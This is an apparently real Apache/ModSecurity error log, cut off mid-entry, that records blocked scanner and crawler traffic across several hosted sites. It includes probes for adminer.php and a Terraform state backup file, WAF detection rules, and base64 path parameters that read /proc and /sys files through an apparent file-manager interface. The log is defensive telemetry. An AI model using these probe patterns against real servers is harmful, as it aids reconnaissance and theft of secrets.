https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:11:22.714276 2026] [security2:error] [pid 531155:tid 531260] [remote 17.246.15.103:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 103.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xqimiP80klyS0Nnr9-gABM2g"] [Sat Jun 13 18:11:22.741456 2026] [security2:error] [pid 531797:tid 531937] [remote 74.7.242.16:57868] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.242.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3xqsTA7b1mZrmcA-8rzAACOUk"], referer: https://www.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxODAzL25ldA== [Sat Jun 13 18:11:22.843167 2026] [security2:error] [pid 531797:tid 531964] [remote 17.246.23.93:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 93.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xqsTA7b1mZrmcA-8rzQACiGQ"] [Sat Jun 13 18:11:23.057953 2026] [access_compat:error] [pid 531797:tid 531949] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL25ldA== [Sat Jun 13 18:11:23.058385 2026] [access_compat:error] [pid 531797:tid 531949] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL25ldA== [Sat Jun 13 18:11:23.174374 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9kcml2ZXI= [Sat Jun 13 18:11:23.174667 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9kcml2ZXI= [Sat Jun 13 18:11:23.304625 2026] [access_compat:error] [pid 531155:tid 531199] [remote 57.141.14.18:49660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:23.305073 2026] [access_compat:error] [pid 531155:tid 531199] [remote 57.141.14.18:49660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:23.377948 2026] [security2:error] [pid 531155:tid 531163] [remote 152.53.111.131:56680] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.111.53.152.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ameritekwater.com"] [uri "/wp-login.php"] [unique_id "ai3xqymiP80klyS0Nnr-CAABDwc"], referer: https://ameritekwater.com/wp-login.php [Sat Jun 13 18:11:23.514046 2026] [security2:error] [pid 531797:tid 531885] [remote 57.141.14.102:49693] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3xq8TA7b1mZrmcA-8r5gACPBU"], referer: https://nelsonfarmstn.com/product/orange-blossom-kumquat/?add_to_wishlist=386&_wpnonce=8d149de2a5&add-to-cart=1255 [Sat Jun 13 18:11:23.546089 2026] [access_compat:error] [pid 531797:tid 531947] [remote 57.141.14.66:32746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:23.546534 2026] [access_compat:error] [pid 531797:tid 531947] [remote 57.141.14.66:32746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:23.668020 2026] [security2:error] [pid 531155:tid 531318] [client 172.56.168.133:21511] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xqymiP80klyS0Nnr-DwAAASs"] [Sat Jun 13 18:11:23.677391 2026] [security2:error] [pid 531155:tid 531318] [client 172.56.168.133:21511] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xqymiP80klyS0Nnr-DwAAASs"] [Sat Jun 13 18:11:23.689575 2026] [access_compat:error] [pid 531797:tid 531913] [remote 57.141.14.102:42091] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:23.690021 2026] [access_compat:error] [pid 531797:tid 531913] [remote 57.141.14.102:42091] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:23.714930 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:23.715332 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:23.729915 2026] [access_compat:error] [pid 531797:tid 531984] [remote 57.141.14.69:48558] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:23.730349 2026] [access_compat:error] [pid 531797:tid 531984] [remote 57.141.14.69:48558] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:23.816102 2026] [access_compat:error] [pid 531797:tid 532043] [client 116.179.32.196:53878] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:23.816532 2026] [access_compat:error] [pid 531797:tid 532043] [client 116.179.32.196:53878] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:23.890914 2026] [security2:error] [pid 531155:tid 531171] [remote 17.246.15.242:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 242.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xqymiP80klyS0Nnr-FgABJw8"] [Sat Jun 13 18:11:23.899610 2026] [access_compat:error] [pid 531155:tid 531208] [remote 57.141.14.31:36112] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:23.899957 2026] [access_compat:error] [pid 531155:tid 531208] [remote 57.141.14.31:36112] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:24.154776 2026] [security2:error] [pid 531797:tid 531912] [remote 17.241.219.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xrMTA7b1mZrmcA-8r-gACazA"] [Sat Jun 13 18:11:24.174816 2026] [security2:error] [pid 531797:tid 531961] [remote 110.249.201.206:15240] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.smartsafetycenter.com"] [uri "/product-tag/%E0%B9%80%E0%B8%8B%E0%B8%9F%E0%B8%95%E0%B8%B5%E0%B9%89/page/4/"] [unique_id "ai3xrMTA7b1mZrmcA-8r_QACdGE"] [Sat Jun 13 18:11:24.212709 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:11:24.212997 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:11:24.294771 2026] [security2:error] [pid 531797:tid 531975] [remote 17.22.253.48:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 48.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xrMTA7b1mZrmcA-8sAAACTG4"] [Sat Jun 13 18:11:24.642140 2026] [access_compat:error] [pid 531797:tid 531956] [remote 57.141.14.22:21748] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:24.642583 2026] [access_compat:error] [pid 531797:tid 531956] [remote 57.141.14.22:21748] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:24.738102 2026] [access_compat:error] [pid 531155:tid 531178] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQxL2NhcGFiaWxpdGllcw== [Sat Jun 13 18:11:24.738422 2026] [access_compat:error] [pid 531155:tid 531178] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQxL2NhcGFiaWxpdGllcw== [Sat Jun 13 18:11:24.826473 2026] [security2:error] [pid 531797:tid 531952] [remote 17.22.245.197:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 197.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xrMTA7b1mZrmcA-8sEgACYlg"] [Sat Jun 13 18:11:25.127494 2026] [access_compat:error] [pid 531155:tid 531206] [remote 57.141.14.95:34993] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:25.127960 2026] [access_compat:error] [pid 531155:tid 531206] [remote 57.141.14.95:34993] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:25.134385 2026] [access_compat:error] [pid 531797:tid 531934] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL25ldA== [Sat Jun 13 18:11:25.134839 2026] [access_compat:error] [pid 531797:tid 531934] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL25ldA== [Sat Jun 13 18:11:25.151619 2026] [access_compat:error] [pid 531797:tid 531931] [remote 57.141.14.80:44431] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:25.151944 2026] [access_compat:error] [pid 531797:tid 531931] [remote 57.141.14.80:44431] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:25.197668 2026] [security2:error] [pid 531155:tid 531337] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/math/tanh_basic.phpt"] [unique_id "ai3xrSmiP80klyS0Nnr-LgAAAT4"], referer: https://mail.goldensnifferproducts.com/php52/ext/standard/tests/math/tanh_basic.phpt [Sat Jun 13 18:11:25.269787 2026] [access_compat:error] [pid 531155:tid 531179] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZQ== [Sat Jun 13 18:11:25.270168 2026] [access_compat:error] [pid 531155:tid 531179] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZQ== [Sat Jun 13 18:11:25.309478 2026] [security2:error] [pid 531155:tid 531196] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/terraform.tfstate.backup"] [unique_id "ai3xrSmiP80klyS0Nnr-MAABEig"] [Sat Jun 13 18:11:25.325014 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.7:46677] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:25.325452 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.7:46677] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:25.480881 2026] [access_compat:error] [pid 531155:tid 531254] [remote 57.141.14.109:40092] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:25.481216 2026] [access_compat:error] [pid 531155:tid 531254] [remote 57.141.14.109:40092] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:25.535724 2026] [security2:error] [pid 531797:tid 531884] [remote 171.108.70.124:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 124.70.108.171.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "tribalzsolar.com"] [uri "/wp-comments-post.php"] [unique_id "ai3xrcTA7b1mZrmcA-8sLgACYxQ"] [Sat Jun 13 18:11:25.535970 2026] [security2:error] [pid 531797:tid 532077] [client 171.108.70.124:0] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "147"] [id "900404"] [msg "wp-comments-post POST logging"] [data "409"] [hostname "tribalzsolar.com"] [uri "/wp-comments-post.php"] [unique_id "ai3xrcTA7b1mZrmcA-8sLgACYxQ"] [Sat Jun 13 18:11:25.536388 2026] [security2:error] [pid 531155:tid 531371] [client 110.249.201.179:22630] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.buy-ketotifen.com"] [uri "/robots.txt"] [unique_id "ai3xrSmiP80klyS0Nnr-NgAAAWA"] [Sat Jun 13 18:11:25.540167 2026] [security2:error] [pid 531797:tid 531865] [remote 74.7.242.16:57868] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.242.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3xrcTA7b1mZrmcA-8sLwACRAE"], referer: https://www.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxNDkwL25ldA== [Sat Jun 13 18:11:25.648037 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.14:57800] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:25.648292 2026] [access_compat:error] [pid 531155:tid 